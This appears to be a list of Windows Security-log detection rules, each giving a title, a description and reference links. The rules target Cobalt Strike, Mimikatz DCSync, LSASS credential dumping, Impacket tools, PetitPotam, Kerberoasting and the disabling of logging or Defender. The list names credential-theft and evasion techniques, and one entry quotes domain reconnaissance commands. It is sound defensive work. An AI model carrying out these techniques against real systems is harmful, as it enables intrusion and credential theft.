CobaltStrike Service Installations - Security	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement	https://www.sans.org/webcasts/119395, https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/, https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
DCERPC SMB Spoolss Named Pipe	Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.	https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1, https://dirkjanm.io/a-different-way-of-abusing-zerologon/, https://twitter.com/_dirkjan/status/1309214379003588608
DCOM InternetExplorer.Application Iertutil DLL Hijack - Security	Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.	https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
Mimikatz DC Sync	Detects Mimikatz DC sync security events	https://twitter.com/gentilkiwi/status/1003236624925413376, https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2, https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662
Device Installation Blocked	Detects an installation of a device that is forbidden by the system policy	https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6423
Windows Event Auditing Disabled	Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.	https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit
Important Windows Event Auditing Disabled	Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.	https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit, https://github.com/SigmaHQ/sigma/blob/master/documentation/logsource-guides/windows/service/security.md
ETW Logging Disabled In .NET Processes - Registry	Potential adversaries stopping ETW providers recording loaded .NET assemblies.	https://twitter.com/_xpn_/status/1268712093928378368, https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr, https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables, https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38, https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39, https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_, https://bunnyinside.com/?term=f71e8cb9c76a, http://managed670.rssing.com/chan-5590147/all_p1.html, https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code, https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
DPAPI Domain Backup Key Extraction	Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers	https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
DPAPI Domain Master Key Backup Attempt	Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.	https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
External Disk Drive Or USB Storage Device Was Recognized By The System	Detects external disk drives or plugged-in USB devices.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6416
Persistence and Execution at Scale via GPO Scheduled Task	Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale	https://twitter.com/menasec1/status/1106899890377052160, https://www.secureworks.com/blog/ransomware-as-a-distraction, https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-0-16-1-scheduled-task-execution-at-scale-via-gpo.html
Hidden Local User Creation	Detects the creation of a local hidden user account which should not happen for event ID 4720.	https://twitter.com/SBousseaden/status/1387743867663958021
HackTool - EDRSilencer Execution - Filter Added	Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.	https://github.com/netero1010/EDRSilencer
HackTool - NoFilter Execution	Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators	https://github.com/deepinstinct/NoFilter/blob/121d215ab130c5e8e3ad45a7e7fcd56f4de97b4d/NoFilter/Consts.cpp, https://github.com/deepinstinct/NoFilter, https://www.deepinstinct.com/blog/nofilter-abusing-windows-filtering-platform-for-privilege-escalation, https://x.com/_st0pp3r_/status/1742203752361128162?s=20
HybridConnectionManager Service Installation	Rule to detect the Hybrid Connection Manager service installation.	https://twitter.com/Cyb3rWard0g/status/1381642789369286662
Impacket PsExec Execution	Detects execution of Impacket's psexec.py.	https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
Possible Impacket SecretDump Remote Activity	Detect AD credential dumping using impacket secretdump HKTL	https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html
Invoke-Obfuscation CLIP+ Launcher - Security	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation - Security	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher - Security	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR+ Launcher - Security	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation COMPRESS OBFUSCATION - Security	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation RUNDLL LAUNCHER - Security	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Stdin - Security	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip - Security	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA - Security	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32 - Security	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
ISO Image Mounted	Detects the mount of an ISO image on an endpoint	https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore, https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages, https://twitter.com/MsftSecIntel/status/1257324139515269121, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image
Kerberoasting Activity - Initial Query	This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.	https://www.trustedsec.com/blog/art_of_kerberoast/, https://adsecurity.org/?p=3513
First Time Seen Remote Named Pipe	This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes	https://twitter.com/menasec1/status/1104489274387451904
LSASS Access From Non System Account	Detects potential mimikatz-like tools accessing LSASS from non system account	https://threathunterplaybook.com/hunts/windows/170105-LSASSMemoryReadAccess/notebook.html
Credential Dumping Tools Service Execution - Security	Detects well-known credential dumping tools execution via service execution events	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
WCE wceaux.dll Access	Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
Metasploit SMB Authentication	Alerts on Metasploit host's authentications on the domain.	https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb
Metasploit Or Impacket Service Installation Via SMB PsExec	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation	https://bczyz1.github.io/2021/01/30/psexec.html
Meterpreter or Cobalt Strike Getsystem Service Installation - Security	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
NetNTLM Downgrade Attack	Detects NetNTLM downgrade attack	https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
Windows Network Access Suspicious desktop.ini Action	Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.	https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/
New or Renamed User Account with '$' Character	Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms.	https://twitter.com/SBousseaden/status/1387743867663958021
Denied Access To Remote Desktop	This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.	https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825
Password Policy Enumerated	Detects when the password policy is enumerated.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4661, https://github.com/jpalanco/alienvault-ossim/blob/f74359c0c027e42560924b5cff25cdf121e5505a/os-sim/agent/src/ParserUtil.py#L951
Windows Pcap Drivers	Detects Windows Pcap driver installation based on a list of associated .sys files.	https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more
Possible PetitPotam Coerce Authentication Attempt	Detect PetitPotam coerced authentication activity.	https://github.com/topotam/PetitPotam, https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml
PetitPotam Suspicious Kerberos TGT Request	Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.	https://github.com/topotam/PetitPotam, https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/, https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml
Possible DC Shadow Attack	Detects DCShadow via create new SPN	https://twitter.com/gentilkiwi/status/1003236624925413376, https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2, https://web.archive.org/web/20180203014709/https://blog.alsid.eu/dcshadow-explained-4510f52fc19d?gi=c426ac876c48
PowerShell Scripts Installed as Services - Security	Detects powershell script installed as a Service	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Protected Storage Service Access	Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers	https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
RDP over Reverse SSH Tunnel WFP	Detects svchost hosting RDP termsvcs communicating with the loopback address	https://twitter.com/SBousseaden/status/1096148422984384514, https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx
Register new Logon Process by Rubeus	Detects potential use of Rubeus via registered new trusted logon process	https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
Service Registry Key Read Access Request	Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.	https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness
Remote PowerShell Sessions Network Connections (WinRM)	Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986	https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
Replay Attack Detected	Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client	https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4649
SAM Registry Hive Handle Request	Detects handles requested to SAM registry hive	https://threathunterplaybook.com/hunts/windows/190725-SAMRegistryHiveHandleRequest/notebook.html
SCM Database Handle Failure	Detects non-system users failing to get a handle of the SCM database.	https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html
SCM Database Privileged Operation	Detects non-system users performing privileged operation os the SCM database	https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html
Potential Secure Deletion with SDelete	Detects files that have extensions commonly seen while SDelete is used to wipe files.	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm, https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://learn.microsoft.com/en-gb/sysinternals/downloads/sdelete
Service Installed By Unusual Client - Security	Detects a service installed by a client which has PID 0 or whose parent has PID 0	https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html, https://www.x86matthew.com/view_post?id=create_svc_rpc, https://twitter.com/SBousseaden/status/1490608838701166596
Remote Access Tool Services Have Been Installed - Security	Detects service installation of different remote access tools software. These software are often abused by threat actors to perform	https://redcanary.com/blog/misbehaving-rats/
SMB Create Remote File Admin Share	Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).	https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml, https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200806015757.html?highlight=create%20file
A New Trust Was Created To A Domain	Addition of domains is seldom and should be verified for legitimacy.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4706
Win Susp Computer Name Containing Samtheadmin	Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool	https://twitter.com/malmoeb/status/1511760068743766026, https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py, https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py
Addition of SID History to Active Directory Object	An attacker can use the SID history attribute to gain additional privileges.	https://adsecurity.org/?p=1772
Password Change on Directory Service Restore Mode (DSRM) Account	Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence.	https://adsecurity.org/?p=1714, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794
Account Tampering - Suspicious Failed Logon Reasons	This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625, https://twitter.com/SBousseaden/status/1101431884540710913
Group Policy Abuse for Privilege Addition	Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.	https://www.elastic.co/guide/en/security/current/group-policy-abuse-for-privilege-addition.html#_setup_275
Startup/Logon Script Added to Group Policy Object	Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects.	https://www.elastic.co/guide/en/security/current/startup-logon-script-added-to-group-policy-object.html
Kerberos Manipulation	Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4771
Suspicious LDAP-Attributes Used	Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.	https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961, https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/, https://github.com/fox-it/LDAPFragger
Suspicious Windows ANONYMOUS LOGON Local Account Created	Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.	https://twitter.com/SBousseaden/status/1189469425482829824
Password Dumper Activity on LSASS	Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN	https://twitter.com/jackcr/status/807385668833968128
Suspicious Remote Logon with Explicit Credentials	Detects suspicious processes logging on with explicit credentials	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
Potentially Suspicious AccessMask Requested From LSASS	Detects process handle on LSASS process with certain access mask	https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Reconnaissance Activity	Detects activity as "net user administrator /domain" and "net group domain admins /domain"	https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html
Password Protected ZIP File Opened	Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.	https://twitter.com/sbousseaden/status/1523383197513379841
Password Protected ZIP File Opened (Suspicious Filenames)	Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.	https://twitter.com/sbousseaden/status/1523383197513379841
Password Protected ZIP File Opened (Email Attachment)	Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.	https://twitter.com/sbousseaden/status/1523383197513379841
Uncommon Outbound Kerberos Connection - Security	Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.	https://github.com/GhostPack/Rubeus
Possible Shadow Credentials Added	Detects possible addition of shadow credentials to an active directory object.	https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html, https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/, https://twitter.com/SBousseaden/status/1581300963650187264?
Suspicious PsExec Execution	detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one	https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
Suspicious Access to Sensitive File Extensions	Detects known sensitive file extensions accessed on a network share	Internal Research
Suspicious Kerberos RC4 Ticket Encryption	Detects service ticket requests using RC4 encryption type	https://adsecurity.org/?p=3458, https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity
Suspicious Scheduled Task Creation	Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
Important Scheduled Task Deleted/Disabled	Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4699, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4701
Suspicious Scheduled Task Update	Detects update to a scheduled task event that contain suspicious keywords.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
Unauthorized System Time Modification	Detect scenarios where a potentially unauthorized application or user is modifying the system time.	Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well), Live environment caused by malware, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4616
Remote Service Activity via SVCCTL Named Pipe	Detects remote service activity via remote access to the svcctl named pipe	https://web.archive.org/web/20230329155141/https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html
SysKey Registry Keys Access	Detects handle requests and access operations to specific registry keys to calculate the SysKey	https://threathunterplaybook.com/hunts/windows/190625-RegKeyAccessSyskey/notebook.html
Sysmon Channel Reference Deletion	Potential threat actor tampering with Sysmon manifest and eventually disabling it	https://twitter.com/Flangvik/status/1283054508084473861, https://twitter.com/SecurityJosh/status/1283027365770276866, https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html, https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8
Tap Driver Installation - Security	Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques.	https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
Suspicious Teams Application Related ObjectAcess Event	Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.	https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/, https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens
Transferring Files with Credential Data via Network Shares	Transferring files with well-known filenames (sensitive files with credential data) using network shares	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
User Added to Local Administrator Group	Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732, https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'	The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.	https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
Local User Creation	Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.	https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/
Potential Privileged System Service Operation - SeLoadDriverPrivilege	Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.	https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4673
User Logoff Event	Detects a user log-off activity. Could be used for example to correlate information during forensic investigations	https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4634, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4647
VSSAudit Security Event Source Registration	Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
Windows Defender Exclusion List Modified	Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.	https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
Windows Defender Exclusion Deleted	Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions	https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
T1047 Wmiprvse Wbemcomn DLL Hijack	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario.	https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
Locked Workstation	Detects locked workstation session events that occur automatically after a standard period of inactivity.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800
WMI Persistence - Security	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.	https://twitter.com/mattifestation/status/899646620148539397, https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
Windows Defender Exclusion Registry Key - Write Access Requested	Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.	https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
Admin User Remote Logon	Detect remote login by Administrator user (depending on internal pattern).	https://car.mitre.org/wiki/CAR-2016-04-005
DiagTrackEoP Default Login Username	Detects the default "UserName" used by the DiagTrackEoP POC	https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46
A Member Was Removed From a Security-Enabled Global Group	Detects activity when a member is removed from a security-enabled global group	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633
Potential Access Token Abuse	Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".	https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation, https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html
RDP Login from Localhost	RDP login with localhost source address may be a tunnelled login	https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
Successful Overpass the Hash Attempt	Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.	https://web.archive.org/web/20220419045003/https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html
Scanner PoC for CVE-2019-0708 RDP RCE Vuln	Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep	https://twitter.com/AdamTheAnalyst/status/1134394070045003776, https://web.archive.org/web/20190710034152/https://github.com/zerosum0x0/CVE-2019-0708
A Member Was Added to a Security-Enabled Global Group	Detects activity when a member is added to a security-enabled global group	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632
